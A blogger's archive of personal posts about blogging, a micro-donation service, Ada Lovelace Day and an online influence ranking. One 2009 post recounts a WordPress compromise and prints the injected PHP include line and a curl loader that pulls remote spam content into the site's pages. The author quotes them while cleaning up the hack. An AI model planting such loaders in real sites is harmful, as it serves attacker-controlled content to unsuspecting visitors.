I started blogging in 2002, tentatively at first, and then with increasing enthusiasm. There was something very liberating about writing a blog, one that people read and commented on. A group of us bloggers met up, and became friends, and I still know almost all of them to this day.

But somewhere in the melee of work and life and Twitter and Facebook, blogging somewhat lost its shine. People don’t comment anymore. There’s no sense of community. But worse than that, it got easier and easier to put off actually writing a blog post. There was a time I’d have ideas cascading out of my head, bubbling up from some fountain of irrepressible need to communicate. Less so now.

Of course, 2002 was a long time ago, and I’m a different person now. My  life is certainly very different – I’m far less underemployed, for one. I have more non-computer-based hobbies, for two. Fifteen years older, for three. I do still frequently think, “Oh, I should blog about that,” though the inspiration usually vanishes when I’m sitting in front of a computer.

But this year, I’ve been using my creative challenges to force myself to blog more. Indeed, I blogged more in January than I had in almost the entire previous three years. And I’ve blogged more this year than almost the entire previous five years. Even tonight, when I am feeling rather tired and not so keen on writing a blog post, something has come to mind.

I appear to have turned myself into a creative Ouroboros. The more I have created, the more I create, the more I will create. Deep down, I think I knew that this was how it worked but I was, for some as yet unfathomed reason, scared to allow myself to get into a creative cycle. Interestingly, it has turned out that it doesn’t matter what form my creativity takes, because pretty much everything I’ve done has fed the fire, and the outcome is that I feel more inclined to make the effort where before I would have turned away.

What’s also interesting is that my motivations are much more intrinsic than they used to be. I’m doing this because it’s giving me something back, it’s inspiring me to be creative in the one way that’s most important to me – I am once more writing fiction. And I’m enjoying the process of writing, rather than wishing that I had already written. It doesn’t matter so much that people aren’t reading this blog, aren’t commenting. A few friends will, and that’s fine. I don’t need a huge audience, I need no more the intrinsic satisfaction of having given voice to a thought.

Which is how it used to be. And how it ought to be.

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Experimenting with Kachingle

by Suw on January 13, 2010

In April last year I wrote about a start-up called Kachingle for The Guardian. I explained Kachingle thusly:

After registering with Kachingle, users decide on a maximum monthly donation, currently set at $5 (£3.50). When they see something they like, they simply click on the Kachingle “medallion” to initiate a donation. Kachingle tracks their reading habits, tots up how many times they visit each favoured site and divvies up the money proportionally at the end of the month.

It’s equally simple for site owners, who just need a PayPal account and a snippet of code to display the Kachingle medallion. The revenue split gives content providers 80% of the donations, with the rest covering Kachingle’s costs and PayPal fees.

I’ve been quietly keeping an eye on Kachingle to see when they would launch and was excited to get an email from Bill Lazar, Kachingle’s Marketing Engineer, last week saying that they were ready for beta testers to come on board. They will be launching properly in early February.

I think Kachingle is a really interesting idea, and I’m very excited to have the opportunity to test it out. That’s the medallion, up there in the top of the right-hand sidebar. All you need to sign up with Kachingle is a PayPal account and a spare $5 a month (although you can spend more if you want to). That works out at £3.07 per month, which even in a recession I think I can spare!

Kachingle sits very nicely with my recent decision to buy as many hand-crafted present for Christmas as I could. In an economic downturn it is more important than ever to support small businesses and I really like the fact that the vast majority of the money I spend on sites like Folksy go to the person who made the item I’ve bought.

But Kachingle is not just a way that I might earn a little spare change, it also gives me a way to support others. I’m hoping that over the course of the next few months, bloggers I enjoy will be able to join up and let me show them my appreciation.

If you want to sign up as a Kachingler or as a Site Owner, get in touch with Kachingle’s beta programme. And, of course, let me know what you think in the comments!

(Cross-posted from Strange Attractor)

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More on the evil in the woodshed

by Suw on August 31, 2009

CnV is still having spam injection problems. Unfortunately, the upgrades to WordPress and Thesis didn’t solve the problem, and a few days later it was full of spam again. You won’t have noticed because it was hidden, but it would have made the site slow to load and has probably totally screwed my GoogleJuice. I’ve been advised to totally reinstall WordPress, but I’d rather figure out what is going on so that if it happens again I’ll be better placed to deal with it. Blogiculum Vitae has also compromised but, annoyingly, not in exactly the same way.

Cleaning up CnV
The first thing I did was to look at my footer.php, as from looking at the source of that’s where the spam links seem to have been injected. I found a line or two of code that shouldn’t have been there. Unfortunately I didn’t keep a copy of what they said, but part of it was a call to an “include.php”. I deleted the bad code, and then searched through all the WP php files until I found include.php. When I opened it, it was clearly calling on code hosted on a third party site, so I deleted it. Again, I wish I’d kept the code, but I didn’t think about it until just now!

Anyway, that didn’t do the trick because I got more crap injected into my header, this time. So I’ve just spent some time trawling through and I found a compromised theme. It’s an old theme that I no longer use, Cold Blue. Originally when I opened the themes folder last time, I found all themes had their permissions set so that nothing could execute, and I didn’t remember those permissions settings being like that last time… but I’m not an expert and I couldn’t remember the permissions from the last time I fiddled with WP.

Currently, they look like this:

Wordpress hackage

This is after totally replacing Thesis, and trying to delete Lane-10, another theme I don’t use. I still can’t get rid of the damn Lane-10 folder (or the Cold Blue one either, come to that). Before I changed anything, permissions were set to r-xr-xr-x (read: yes; write: no; execute: yes). (On Blogiculum Vitae, they are set to rwxr-xr-x, which I presume is the right setting.)

Anyway, I opened up Cold Blue and saw:

Wordpress hackage

Which doesn’t look too bad, until you take a look in Images:

Wordpress hackage

Ewww! Evil!

I have deleted the contents of the theme folder. The other themes look like they have not been compromised. I can’t find any other PHP files that look odd. Time will tell if I’ve cleaned it out or not.

UPDATE: Thanks to everyone who’s commented. ManxStef was correct – the hackers did create an admin account, so I have deleted every account except mine. If you were a subscriber and this has affected any way, please accept my apologies.

Sadly, I now have confirmation that my attempt to clean up has not worked – there’s a new spam injection, this time in the header. The code is:

<?php include (“include.php”); ?>

That bit of code was tucked in at the bottom of the header. Just deleting it gets rid of the spam, but there’s got to be something else still lurking in a dark corner that is re-editing my theme files to re-insert that code.

This include.php exists in wp-content/themes/thesis and contains this code:

$ch = curl_init();
curl_setopt($ch, CURLOPT_TIMEOUT, 7);
curl_setopt($ch, CURLOPT_URL, “”);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1 );
$RemoteData = curl_exec($ch);
echo $RemoteData;

And here I officially run out of WordPress expertise and am going to have to call in the big guns.

Cleaning up Blogiculum Vitae.
Blogiculum Vitae is running WP 2.8.4 and uses the Thesis 1.1 theme.

Again, the footer.php has been compromised, but this time the spam links have been injected directly into it.

More WordPress hackage

I have sorted through the files to see if I can see where the compromise is, looking at the dates to see if any stand out, as there shouldn’t be anything new there. I haven’t been able to find anything else that looks out of place, so perhaps it’s been compromised using a different, more direct method. Time to upgrade WordPress and Thesis!

If anyone has any more information on this, I’d be most grateful if you could leave a comment. I’m not sure if I’ve solved the problem or just slowed it down a bit. And if you see any spam URLs in the source code of the page, please let me know.

UPDATE: Although the CnV compromise is ongoing, Blogiculum Vitae seems to still be clean. I am thankful for small mercies!

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Something in the woodshed

by Suw on August 20, 2009

Something very strange happened to Chocolate and Vodka, resulting in it loading a blank page except for the background image. It appears to have been a problem with Thesis, the theme I had been using, although I had not upgraded or changed it (or WordPress) in any way in months. I’m not sure how it could have just broken without me doing anything, but maybe my hosting company changed something in the background. Anyway, we now have the ugly default theme (honestly, can’t WordPress do better?) which will remain until I have time to upgrade everything and/or look for a fix.

I apologise for any pain or damage this causes to your eyes in the meantime.

UPDATE: I have updated WordPress, as it appeared that someone had done something nasty to CnV and caused it to behave badly towards others. The update has fixed whatever was wrong with the theme and hopefully it has also done for whatever exploit was using WP to spam people. If there’s something more I need to do to stop WP spamming others, please be a love and tell me!

UPDATE 2: I’ve just updated Thesis, my theme, as well. Hopefully that should mean no more problems.

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Live by the blog, die by the blog

by Suw on August 7, 2009

I just had the realisation that I’ve been stopping myself from blogging recently. I’ve been too busy, too tired, too braindead, yes, but I’ve also been clamping down on my urge to blog. I’m not really sure why, but I don’t like it. I was talking to Steph Booth on IM when I suddenly realised it:

(17:21) Suw: you know, i think one of the reasons that i’m feeling so bad is that i’ve been stoping myself blogging
(17:22) Gummywabbit: aha. blog, blog. we’re bloggers first and foremost – if we don’t blog, we die inside

She’s right. Not blogging is making me feel shuttered and isolated. The main reason I’m not blogging is self-censorship, not wanting to shine a light on certain things that could cause certain reactions in certain people. And I’m still struggling with that a bit, to be honest.

The other thing that holds me back is that, whilst certain aspects of my life are great, others are not so hot and that affects my desire to blog. This new flat, for example, is much bigger and really nice inside, but manages to be both quieter (smaller road) and noisier (our bedroom faces the road, and our upstairs neighbours are noisy) than the old one. My happiness level swings to and fro here. Sometimes it’s great – it’s a good neighbourhood (by day) with some good restaurants within walking distance as well as two parks and good travel connections. Sometimes it’s horrible – when neighbours are banging about at 3 am, car doors are slamming outside and people are having arguments outside our bedroom window.

Frankly, I can’t wait to leave London completely. I will miss all my friends here when we do move, but after four years of stress it has become clear that it’s not possible for us to stay here and be happy. I need to focus on becoming more non-geographic over the next 18 months, so that wherever we go, I can still earn despite the fact that my clients have almost always been based in London. (Although that may be because I am also based in London… I wonder what would happen if we moved to North Wales!)

Ah, well, I’m bought some new beads this week, so I’m going to spend some of my holiday over the next week making new jewellery. My shop is still on Folksy, but all the items have fallen off the listings, so I need to re-list them all and add some more. Maybe that’s a project for this weekend! Oh, and amalgamating my Lost Yod blog with this one, it’d be good to get that done too. That, at least, will give me an excuse to post something here!

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This may ring bells

by Suw on June 3, 2009

Steph writes the blog post that I’d write if I wasn’t a) so busy and b) also a perfectionist.

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Ada Lovelace Day needs you

by Suw on January 12, 2009

We are just 95 signatories off reaching our target of 1000 people, all promising to blog about a woman they admire on 24 March 2009. I had originally been a bit worried that we wouldn’t see 13 people per day sign up, but the reaction to the pledge has been just awe inspiring. Now my aim is to get 1000 people within the first seven days – which means that we have to reach our target by 10pm tonight, GMT.

If you haven’t signed the pledge, please do. If you haven’t blogged about it or Twittered about it yet, please do. We have less than twelve hours to hit the target!

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Join me on Ada Lovelace Day

by Suw on January 6, 2009

I’ve mainly stayed away from the discussion of gender issues in technology. I didn’t think that I had any real expertise to share. But over the last six months, after many conversations, it has become clear that many of my female friends in tech really do feel disempowered. They feel invisible, lacking in confidence, and unsure how to compete for attention with the men around them.

Then I see the stupid puerile misogynistic manner with which some of the more powerful voices in the tech community – some of them repeat offenders – treat women, and it makes me very cross indeed. The objectification of women is bad enough when it’s done by the media, but when it’s done by a conference organiser or tech commentator or famous tech publication, what message does it send? Nothing but “You will never be taken seriously, but we might take notice of you if you’re hot.”

But what to do? Well, let’s pull back from the anger a little, and start to look instead at why it might be that women feel less secure in their abilities than most men, and what might help change that. Undoubtedly it’s a complex issue, but recent research may shed some light: Psychologist Penelope Lockwood discovered that women need to see female role models more than men need to see male ones.

Well, that’s a relatively simple problem to begin to address. If women need female role models, let’s come together to highlight the women in technology that we look up to. Let’s create new role models and make sure that whenever the question “Who are the leading women in tech?” is asked, that we all have a list of candidates on the tips of our tongues.

Thus was born Ada Lovelace Day, and this pledge:

“I will publish a blog post on Tuesday 24th March about a woman in technology whom I admire but only if 1,000 other people will do the same.”

— Suw Charman-Anderson (contact)

Deadline to sign up by: 24th March 2009

Ada Lovelace Day is an international day of blogging to draw attention to women excelling in technology. Women’s contributions often go unacknowledged, their innovations seldom mentioned, their faces rarely recognised. We want you to tell the world about these unsung heroines. Whatever she does, whether she is a sysadmin or a tech entrepreneur, a programmer or a designer, developing software or hardware, a tech journalist or a tech consultant, we want to celebrate her achievements.

It doesn’t matter how new or old your blog is, what gender you are, what language you blog in, or what you normally blog about – everyone is invited to take part. All you need to do is sign up to this pledge and then publish your blog post any time on Tuesday 24th March 2009. If you’re going to be away that day, feel free to write your post in advance and set your blogging system to publish it that day.

You’ll notice that I’ve asked for 1,000 people to sign the pledge, which is an ambitious number. Indeed, PledgeBank makes a pretty strong point during the pledge creation process of asking people to limit their requests to 20 people, but I am sure that over the next 77 days we’ll be able to find another 989 people to join us!

What can you do?
Obviously, and most importantly, please sign the pledge. If you already have a blog, then it will be easy for you to take part. If you don’t have a blog, this might be a great reason to start one! It’ll take you about five minutes to get yourself set up on WordPress and then you’ll be up and running!

Please also consider putting a pledge badge on your blog now or writing a short post about the project to help spread the word. You can also use the “Share This” link on the pledge itself to send the pledge to your favourite social bookmarking or news site, or to email it to a friend. The more people who send this link to Delicious or Digg and the like, the more likely we are to hit our target!

Also, if you’re on Twitter, Facebook, Jaiku, or any other microconversation tool, please ping a message to all your friends about Ada Lovelace Day, and don’t forget the link! If you’re on LinkedIn, you could also add it as your temporary status for a while.

It is going to be a challenge to hit 1,000 people – we’ll need an average of 13 people signing each day – but if we all tell our friends about it, I think we can do it!

Keep up with Ada Lovelace Day news
I’ve got a Twitter account, mailing list and blog set up, so feel free to follow, subscribe and add to your RSS reader, as you wish!

What will happen next?
If Ada Lovelace Day is a success I’d like to make it an annual event. And, once the economy is in a better position, I’d like to put together a one day conference called Finding Ada. We would cover presentation skills and would introduce women to tech conference organisers, with the aim of getting more women up on stage at tech conferences. At the moment, I’m short of money to get Finding Ada moving, so if you’d like to be a sponsor please get in touch and I’ll tell you more about it.

Finally, who was Ada?
Ada Lovelace was one of the world’s first computer programmers, and one of the first people to see computers as more than just a machine for doing sums. She wrote programmes for Charles Babbage’s Analytical Engine, a general-purpose computing machine, despite the fact that it was never built.

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It’s coming up to Thanksgiving here in the US, and a thin layer of snow still sparkles on the ground in the winter sun. On Friday, (that’s the day after Thanksgiving for any of you not steeped in American tradition) we shall drive to Milwaukee for a spot of Christmas shopping and, in the case of the young ‘uns, some serious scoping out of items to be put on a list for Santa.

All of which is a long winded way of saying that it is again that time of year when lists are made, checked twice and, in the case of Now Public’s MostPublic Index, found to be rather wanting in the sense department. Yes, we have another meaningless ranking of the internet’s glitterati into top 20s for New York, Los Angeles, Silicon Valley, Vancouver and London. And yes, I’m listed on the London list, at number 11.

There was a time when I would have cared about this, especially coming from Now Public. I was one of the first people to write about Now Public, back in March 2005, and I’ve had a soft spot for them ever since, even if I never did get as involved in the community there as perhaps I would have liked. But that, I’m afraid, is not enough to make the list they’ve drawn up relevant in any way.

The list has been derived thusly:

NowPublic’s formula gauges influence and “publicness” across four categories, including:

* Online Visibility
* Presence on User-Generated Content and Social Networking Sites
* Interactivity and Accessibility
* The “R” Factor: Presence on Microblogging Platforms (Flickr, Twitter, Tumblr, etc.)

But what does that actually say about someone? Nothing more than that they will readily adopt and use social tools. In some ways, it’s just the top 20 Chatty Cathys in London (guilty as charged), but in other ways it’s not even that.

What amuses me, though, is the reaction to the list. As usual, many are doing the whole “Who they hell are these people?” thing, particularly in the comments on Iain Dale’s blog. Now I wouldn’t begin to claim to know all the UK’s political bloggers, because that’s not really my bag. But Iain’s commenters are only too happy to dismiss any names they don’t recognise on the basis that they don’t recognise them, as if somehow it’s possible to know everyone on the internet including those outside of your sphere of interest and expertise.

Many people have commented on preponderance of journalists in the list – six from the BBC, four from The Guardian, and a few independents. (Two more listees are genuinely famous outside of the internets, and two of us are social media consultants.) Given this list is more about verbosity or GoogleJuice than influence or contribution to the tech community, it should be no surprise to see a lot of (tech) journalists there. For one, it’s their job to be on top of new tools so they sign up to everything going, and secondly, loquaciousness is a prerequisite for being a journalist. If you’re not good with words and happy to talk, then you’re not likely to take a job that relies on just that.

Jess McCabe notes that there’s only one woman on the list (me). Is this a function of the manner in which the list was compiled, or a reflection of the underlying dominance of men in social media? Well, it’s impossible to tell for sure from this distance, but if you look at the Los Angeles list there are nine women in the top 20, so there doesn’t seem to be an inherent bias in the list-making process.

It is, of course, disappointing to see such a male-dominated list. And many have made suggestions as to who else “should” have been on it, but unless there was bias in the list compilation process, then “should” has no part to play in the discussion. Maybe women in the UK aren’t as digitally noisy as men. Certainly there aren’t as many of them in leading positions. But that’s a discussion separate from this one – unless there’s proof that the list compilation process is inherently biased, I’m going to give them the benefit of the doubt and say that they’re just reflecting an existing trend.

Some people are dissociating themselves from the list, with weary sighs and more than a little perplexity. Those of us who’ve been kicking around the blogosphere since well before the invention of the podcast have seen lists like these come and go, and every single one of them was pointless.

Yet we’re all human, and there’s no shame in feeling a little fillip to see your own name listed, even if the manner by which your name was chosen seems rather arbitrary. Despite my intellectual self understanding that the list is a waste of time, my emotional self can’t help but be at least a little happy to have been named.

But ultimately, the list has done exactly what it set out to do. It’s caused a few big name bloggers (predominantly the ones listed…) to write about NowPublic, link to them, and regardless of what is said pass some traffic their way. That is all that this list – and every other that has come before – set out to do. It’s PR. Bizarre and shallow PR perhaps, but nevertheless, the aim of the list is not to teach us something about ourselves, nor to reveal something interesting about the communities of which we are a part, but to provoke us into making some sort of comment, good or bad.

Still, to save you a click, here’s the list, republished in all its daftness:

1. Rory Cellan-Jones
2. Darren Waters
3. Iain Dale
4. Paul Bradshaw
5. Erik Huggers
6. Tom Coates
7. Ewan McIntosh
8. Stephen Fry
9. Nick Robinson
10. Neil McIntosh
11. Suw Charman-Anderson
12. Alan Connor
13. Kevin Anderson
14. Andy Murray
15. Ian Betteridge
16. Robert Peston
17. Jon Kossman
18. Euan Semple
19. Jack Schofield
20. Charles Arthur

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A new theme!

September 21, 2008

You may have noticed, if you visit the site regularly rather than read via RSS, that I have changed the theme I’m using. I recently found Thesis, by Chris Pearson, a WordPress theme that’s been designed specifically to be adapted. It’s very easy to put in a background image and to use a custom stylesheet, […]

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Something to make me blog more?

July 22, 2008

Much to my surprise, I managed to get myself an iPhone last week simply by walking into the Tottenham Court Road and asking them if they had any. And despite its shortcomings, I love it. What’s particularly great is the ability to download third party apps that make it even more useful and fun. Now […]

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Fruitful Seminars: Making Social Tools Ubiquitous

June 11, 2008

I blogged this on Strange Attractor before Kev and I went off on hols, but thought it was worth cross posting. Lloyd Davis, Leisa Reichelt and I have been spending a lot of time plotting just lately, and the result of our machinations was the creation, at midnight in a semi-derelict Gothic mansion and with […]

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Kits and Mortar – our new blog!

March 20, 2008

Kevin and I have started ourselves a new blog – Kits and Mortar. As you might have guessed from the title, it’s about building an eco- and cat-friendly house, something that Kev and I dream of. Right now, we know really very little about self-building, or even about what we want or where we want […]

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January 30, 2008

Sorry to everyone who has left a comment here only for it not to show up – quite a lot of comments got caught in by Akismet, but the notification emails then got caught up in my Gmail spam trap, so I didn’t realise that there were so many comments awaiting moderation. If you’ve left […]

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